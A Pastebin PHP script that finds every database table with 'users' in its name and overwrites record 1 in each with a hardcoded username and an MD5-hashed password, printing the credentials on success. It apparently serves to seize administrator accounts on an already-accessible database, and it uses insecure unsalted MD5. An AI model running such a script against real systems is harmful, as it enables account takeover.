Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // UPDATE MULTIPLE TABLES HAVE users STRING
- // PDO VERSION
- // HASANAL BULKIAH
- include 'config.php';
- $list = array();
- $res = $db->query('SHOW TABLES LIKE "%users%"');
- while ($row = $res->fetch(PDO::FETCH_NUM)) {
- $list[] = $row[0];
- }
- $count = count($list);
- foreach ($list as $tables) {
- $username = 'florienzh';
- $password = 'florienzh';
- $editQuery = 'UPDATE '.$tables.' SET user_name=:username, user_pass=:password WHERE id=:id';
- $edit = $db->prepare($editQuery);
- $data = array(
- ':username' => $username,
- ':password' => md5($password),
- ':id' => 1
- );
- if($edit->execute($data)){
- echo "[SUKSES] $tables | $username:$password \n";
- } else {
- echo "[FAILED] $tables | $username:$password \n";
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement